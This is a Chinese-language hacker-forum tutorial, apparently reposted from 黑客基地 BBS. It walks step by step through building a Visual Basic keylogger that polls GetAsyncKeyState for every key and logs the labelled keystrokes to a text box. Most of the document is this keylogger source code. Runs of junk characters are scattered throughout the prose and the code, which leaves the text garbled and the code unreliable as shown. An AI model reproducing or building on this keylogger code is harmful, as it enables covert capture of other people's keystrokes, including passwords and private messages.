手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 2 t# s6 ], H: J2 \% W- R& N2 i对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ / h* k7 q# E2 D. U这个程序将会详细的讲解如何记载键盘的每一次输入。 & _2 r0 Z; Q% p( [* I6 z下面介绍的这个程序主要是利用GetAsyncKeyState函数， . s1 G9 [0 W2 y; k% q使用GetAsyncKeyState可以获得键盘的动作。 9 L8 _9 u7 Y! f: v1 ?8 GGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 5 z9 N! A) D3 s8 x6 v$ P即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 2 ^" Y* y: g" b, U+ WPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer ) k$ B" \2 a7 x好了，函数就先介绍这么多，下面开始动手实战了 # K: |- F: D! f8 ~. c/ Ufirst,当然是创建窗口了 2 q8 p& `) f' ^ 8 ^, L5 V6 t% N- O7 m9 k/ b 6 c$ }' E: C: h在时间控件的Timer时间中定义检查按键类型，代码如下： ' M1 A/ ]3 h1 G/ U$ S: p. ^Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 8 t8 v" k8 Q' k; S2 S: D If KeyResult = -32767 Then 6 J0 L# R' l6 R5 U! z( l* F5 O' y AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 " N$ {' c) v4 T$ w, X3 B. C If KeyResult = -32767 Then " }* E, L' N* B+ G$ c AddKey = "[CTRL]" $ T" v2 C' K$ _ [ GoTo KeyFound End If 4 `+ J) t" {( \4 j3 e! x KeyResult = GetAsyncKeyState(8) '退格键 - R: l8 j- |( P If KeyResult = -32767 Then . _ L2 m, M N) ?4 x) L9 I AddKey = "[BKSPACE]" 1 w# W8 S8 |! R {4 b6 i GoTo KeyFound End If ! P! u" ^7 ^1 ?# v- W+ d KeyResult = GetAsyncKeyState(9) 8 w+ F9 I/ m- q If KeyResult = -32767 Then ) U' [2 A* O4 ^/ ?3 V' m AddKey = "[TAB]" u+ j V; o; q; m+ I% \ GoTo KeyFound End If & q# G6 x+ V9 {8 e) O' g! D4 P KeyResult = GetAsyncKeyState(18) 6 |2 n9 }$ B7 L. K( N If KeyResult = -32767 Then ' N u4 f) }6 o0 U9 m+ Z+ R AddKey = "[ALT]" + [* e; h# C, |+ ~8 Y! X GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then 3 q7 j, y6 ~, [ a3 [2 Q9 J AddKey = "[PAUSE]" 3 ]7 J# W0 L# r GoTo KeyFound End If , V- k( x& Z& N @# {$ q KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then 3 Z! h1 M4 U+ {9 L) m AddKey = "[CAPS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(27) 6 r8 v6 U$ o. M$ c9 N) w. D If KeyResult = -32767 Then AddKey = "[ESC]" $ Z; I) Q) W5 G$ c GoTo KeyFound , w6 h' j# N8 j/ R) q' y End If ; ^* b* N5 W; o! ~ ~6 } KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then " ]# c( W1 X; d: R% Q, j3 G% Y AddKey = "[PGUP]" $ M4 X/ M' B5 w5 N# ~$ T) F& g GoTo KeyFound ( q- H7 E1 E3 I+ T' n, B. ?) }0 T b End If ; [- N: S3 v+ Q# c5 A KeyResult = GetAsyncKeyState(34) H `4 l% O. L0 |' H/ s$ ? If KeyResult = -32767 Then AddKey = "[PGDN]" . P( M7 A3 S, x0 w' P, [8 W GoTo KeyFound 6 f6 {& i& Q# L8 r End If 7 Z& y% f4 d: y; K' F3 `; W9 `3 i* i KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" : i( `3 Y3 {0 `5 ?5 q5 o [9 B GoTo KeyFound End If 9 A( O" }) N8 O9 T; a8 q7 B4 Z KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound 2 _ O) ~+ ], E$ S9 _ End If : T' c( p1 y# O r& c KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then ( b1 q7 v4 p/ s, A* t/ [7 L AddKey = "[SYSRQ]" d$ U4 y# x, n+ P% a2 h( ?: x' K) K GoTo KeyFound , }' U4 x7 o- o7 S# w% C- g End If ( x. n7 E) s* T* H$ h* U; ` KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then & h8 @: G* i' Q3 d8 F. |7 ]! c AddKey = "[INS]" 4 d* L$ @* A4 e GoTo KeyFound 1 {& o9 _* t) E1 l, y( G End If H4 |* [6 g( f% T$ v 1 x) S2 e, z* p: d3 s KeyResult = GetAsyncKeyState(46) : i N; T3 I) [/ Y0 s) j If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound $ U2 \, ~( v/ x# } End If 2 r- X# o% ?% O( `7 L# s+ l" y# D KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound ! b1 a! g8 o9 ^# u- e/ T3 b- {2 R End If , l8 a: p/ }& [6 o8 T KeyResult = GetAsyncKeyState(37) 2 g) t/ S z( `6 D" e: T. k, ^ If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound ' N; Y% b% P R1 L End If 5 x1 g2 L8 V5 q, ` KeyResult = GetAsyncKeyState(38) . F9 @8 x( ~" C1 d If KeyResult = -32767 Then AddKey = "[UP]" 1 ]: M7 x9 S/ x GoTo KeyFound - @: \, V3 V0 A1 z; t$ W End If KeyResult = GetAsyncKeyState(39) 4 k8 W2 ]' x3 G7 i- T If KeyResult = -32767 Then o5 ~; w0 m! i& o; U AddKey = "

" ( G4 |- Y& p2 N$ A4 z3 T( U GoTo KeyFound ) J- f" P0 ^: F/ ?: j1 L" `0 x End If 4 C' F" j8 M5 l7 e9 d" Y KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then ( H! `2 D1 x, d" x$ H4 E- ?8 q/ S2 D6 | AddKey = "[DOWN]" % N: k5 x. F7 _3 P4 A. f5 Y( v. ? GoTo KeyFound 7 V* i5 I) b3 P, W z7 l- L. ]8 Z0 K End If % G' X$ v, p1 v* a KeyResult = GetAsyncKeyState(112) 4 _3 j7 E6 ~: B, K If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) 2 k, v J) I) L) }5 O% I If KeyResult = -32767 Then ! s& B- b, G R/ m8 e' {, u' y AddKey = "[F2]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) $ _# t/ w! ^- d: L9 i- @! ^ If KeyResult = -32767 Then " S) U# k3 u: u, B$ _ AddKey = "[F3]" GoTo KeyFound End If . U* c6 v( }3 }, P# M- R KeyResult = GetAsyncKeyState(115) " U$ S% O4 r' q# f If KeyResult = -32767 Then " T- ~% w0 |0 I3 i' `' h AddKey = "[F4]" 4 m$ x5 l% F- o1 ?; g! ~ GoTo KeyFound End If $ \; [9 z& O1 G) v x- ^ / I5 p) m9 }# F( {# fKeyResult = GetAsyncKeyState(116) ) c/ U( D4 C7 p2 V! G* y5 ~( { If KeyResult = -32767 Then # S6 A; w, }1 U0 c AddKey = "[F5]" " L( e7 [: u% q, P7 ] GoTo KeyFound $ _& Q% B* H" t, e( F/ k: U. ] End If 5 X& a2 w) p7 E$ A9 e. K 1 J. d% M# K4 k# O$ ~$ w& r/ nKeyResult = GetAsyncKeyState(117) # R' u( J' d6 t$ N3 s If KeyResult = -32767 Then ' p; S. W/ R+ `. a% x$ E AddKey = "[F6]" GoTo KeyFound 3 z" ^; U. B2 X3 t$ J$ M5 b }4 B End If , R, e6 ^5 n& ]4 C' |5 Z c. |KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound . R! \$ q0 J7 M+ J" ^; f+ J4 M1 L8 q End If 9 P7 y- ]1 `" d6 T& D. A KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" ! B* ?! e3 x! a! `" [6 w9 H GoTo KeyFound End If / W! J) V9 [* c( a& v1 Y & b2 [1 [: m; s! X3 LKeyResult = GetAsyncKeyState(120) ( T+ ^% K1 t0 ]) C7 B% D7 u If KeyResult = -32767 Then ! T3 w# N- [6 W5 { AddKey = "[F9]" GoTo KeyFound 8 W7 [% j$ f6 c+ Y6 d" z( B End If - d0 I: n( Q5 ]7 t( _ KeyResult = GetAsyncKeyState(121) ) E# e6 g1 i% }6 n, O' W9 e4 o If KeyResult = -32767 Then . i0 I; A4 Y/ c, m# H3 e& F AddKey = "[F10]" 2 |. `1 y" w c! I, w" j GoTo KeyFound 9 [4 v" J& `' d$ E. V* W* k End If ! ^0 j# H: J8 q' Q2 P 3 X4 a% T9 V" R7 fKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" ' W U0 d5 v% _ s& C# }$ G! U3 Y/ | GoTo KeyFound ) q+ H- q% |. N. W5 F End If - W |6 j2 a1 J* q; i8 b' `4 c$ U/ c, qKeyResult = GetAsyncKeyState(123) - z4 b5 t3 f' ^) _ X+ V2 q If KeyResult = -32767 Then . e' c5 F, o& @& \1 g9 l AddKey = "[F12]" GoTo KeyFound 4 v. `1 n' J% s3 b% s End If KeyResult = GetAsyncKeyState(124) * R8 ~2 S1 a0 [1 Y0 O If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound End If " V! d) W/ g0 S/ G( h KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" & u. f# M+ u1 f8 p GoTo KeyFound End If - J; s$ f/ x9 cKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" 2 y) [: \; S3 Q- f, t; d, H* i9 p GoTo KeyFound : I6 l' u. \. U' K. f4 D) g End If ' J! g2 ]% M# a! U* B y" w KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then * |' {& c S) \' q6 V4 [8 u* O4 m AddKey = "[F16]" : q9 L7 e! V( j Z+ b' q+ N3 t7 @ GoTo KeyFound 9 |0 t% m' C, C' ]% Z End If / s2 Y( O4 ^3 B7 w5 x mKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then / g m, B Y8 K! p AddKey = " " GoTo KeyFound 6 [( n; Y" S3 v& A, j2 |: ? End If KeyResult = GetAsyncKeyState(186) 1 W0 F' Z+ w8 E+ H0 Z/ C! K ] If KeyResult = -32767 Then # u& m- |; ^* s* U9 ~- T AddKey = ";" GoTo KeyFound 1 h4 N0 V( x" t2 {: ?3 W, i End If 5 h0 f) t4 {6 j1 PKeyResult = GetAsyncKeyState(187) + r& t9 ~; B+ U If KeyResult = -32767 Then ; o3 ]1 I7 X- N7 i( q AddKey = "=" GoTo KeyFound , f) H. ~; m8 N- x) r( S End If ! l8 E# x& T) M) u- F7 O3 g D, n% l# E- P: K$ v, YKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then & Q0 T% V3 P: C1 l) |9 u& E$ e AddKey = "," 5 o% {" C4 l2 ` M" P# x7 u* S2 C GoTo KeyFound ; D8 j+ v' A3 A- ?; \# r' x6 ~ End If ) w) {/ s) x0 K. i5 E; c KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If 2 r( Z/ d( U0 ^3 Z$ D KeyResult = GetAsyncKeyState(190) ) i/ n$ e/ [6 c7 i& ?: c' } p( x If KeyResult = -32767 Then $ G. J. z6 Q8 R* u AddKey = "." GoTo KeyFound % _% `/ o) Q4 @/ ~; i End If 4 p" K+ i% ~5 K" A( y9 i5 u 4 j1 h" p$ m {KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then ' q& y6 j4 R) r5 Z6 h AddKey = "/" '/ . `7 _ `. Q, d7 o2 X7 B" ] GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` GoTo KeyFound 1 ^0 ?' Y1 @0 L8 b End If 4 |) M8 y" d$ U- y$ } '----------NUM PAD KeyResult = GetAsyncKeyState(96) $ t! l$ x# m5 a If KeyResult = -32767 Then AddKey = "0" ' o9 _$ ^ T9 @0 g' h# m. Q6 @ GoTo KeyFound End If ) }2 `0 z/ B1 l) y& t/ Q; u9 i KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then # Y# _4 o% C4 g AddKey = "1" 8 b3 q1 z! \$ l( Q4 g) J GoTo KeyFound End If / V% V- V+ ]* E ( q- O$ T( y8 l9 C# t' u KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then 1 ]; P# B$ h6 ? AddKey = "2" - D6 b) Q/ C8 w! i; J$ L GoTo KeyFound End If KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then 2 I+ m4 L& \ I0 { AddKey = "3" GoTo KeyFound 3 a a6 ~8 _2 b+ } End If KeyResult = GetAsyncKeyState(100) 2 w+ }8 u% Z9 ~8 Q" O" o4 x h If KeyResult = -32767 Then AddKey = "4" ( |/ b5 a6 r' [# U6 y GoTo KeyFound End If 5 `0 h: ?6 r* c6 Y; l8 n KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound End If 3 z: H$ Y" s+ D7 Z) W) R KeyResult = GetAsyncKeyState(102) 3 j/ V% n8 m1 a: ~+ C: a& @+ h3 [: t0 | If KeyResult = -32767 Then AddKey = "6" : H9 W4 n) v. i# n% i3 r5 @ GoTo KeyFound $ ]3 E6 z: e `5 ?- r End If . D1 j3 B- v0 }& R1 F! m KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then , U0 j1 c$ a# m, S1 \' U AddKey = "7" GoTo KeyFound 5 ]; T+ {! d* K1 j ] End If 8 ~& {- c, }. ~4 E# j9 ^/ b F+ I. w ; V4 p4 V2 X2 u Y$ uKeyResult = GetAsyncKeyState(104) 2 X( A; ^( }7 K8 j If KeyResult = -32767 Then - P2 h) }1 F, B n' k( ] AddKey = "8" GoTo KeyFound # W# D. r0 ~6 u End If 7 d( N5 T7 D, k/ U. V+ ^ ; |( H. O# Q( }. ~1 VKeyResult = GetAsyncKeyState(105) ( v- v* l7 d; |( a% Z. x b If KeyResult = -32767 Then " h' `' J) l, [- K, G5 S$ g. A AddKey = "9" GoTo KeyFound End If 1 X" e8 N& x E- m, vKeyResult = GetAsyncKeyState(106) : Y4 r G2 x9 l0 t% m If KeyResult = -32767 Then 6 ^8 m- c: A. P( r! w5 Q AddKey = "*" GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) ( P( r# e6 U p If KeyResult = -32767 Then # a% s% H4 m, L @2 O! f AddKey = "+" $ d: @0 S x8 C z9 h GoTo KeyFound End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then 8 V0 ]; H4 n4 i" m& f7 f3 i AddKey = "[ENTER]" ! x+ P# a7 V2 ^' K; |* ]$ R GoTo KeyFound End If / E7 Y& L. \& b2 G) @3 U9 u " e; y* n3 k2 }* B. _3 W1 {+ ^+ v+ lKeyResult = GetAsyncKeyState(109) 5 `* i. ?; J0 \3 b If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If ; Z% ?6 M) q# \* Q$ W KeyResult = GetAsyncKeyState(2) 5 C4 P2 k4 v# x7 u5 i& J, B If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound + ^* J6 L& Z9 O5 Z" H, f End If ' @& h; D8 f. \( {; hKeyResult = GetAsyncKeyState(220) 9 |8 F6 D& m# m( G% F s4 y' x If KeyResult = -32767 Then , S& l% B1 |5 s5 P! Y' h AddKey = "\" GoTo KeyFound End If , n, Z" E1 E4 E) {- C- z KeyResult = GetAsyncKeyState(222) 7 s, ?/ j5 Z Q R0 } If KeyResult = -32767 Then 8 @3 j2 m. m, T' W6 y( b6 _- N AddKey = "'" ' X: l+ ]) d; b4 r$ ~ GoTo KeyFound End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" GoTo KeyFound 1 ]- `! k: x# @$ a6 y+ d# z End If 4 y0 Q: i% @8 X! G! w# G2 K: o& _1 |KeyResult = GetAsyncKeyState(219) ) i7 c0 S. x' K @5 R" Z, v D If KeyResult = -32767 Then [$ A0 b0 K% m5 b+ R- `' j AddKey = "[" GoTo KeyFound / C' c- g+ l. r; K End If & Y3 _5 q- b6 A6 e* D' d / M% p% G) m4 r% O( q, wKeyResult = GetAsyncKeyState(16) 'shift键 2 p! i; W( `+ _: x. n& S& f If KeyResult = -32767 And TimeOut = 0 Then , B s# l Z: u: J- O" P0 e. g AddKey = "[SHIFT]" 5 D/ B. [9 u' D* T; I. p6 h3 _ LastKey = AddKey TimeOut = 1 GoTo KeyFound End If KeyLoop = 41 y% ?5 Y% ? V9 G' Z% K Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) " d* J0 `+ @. ?+ _6 A, @2 g If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop LastKey = AddKey 7 r/ z8 E4 r- U- _: ^ X Exit Sub KeyFound: '显示键的信息 0 C0 h# Q" w: {) F }' ~ Text1 = Text1 & AddKey 5 P: f0 M' L$ u% ]6 oEnd Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… ; L0 z% t; O, ~8 z7 E5 n' k3 t由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm / D3 D0 L. c! b6 |! a3 Q4 m& V下面是其他的事件 Private Sub Timer2_Timer() TimeOut = 0 End Sub 目的是随时刷新清空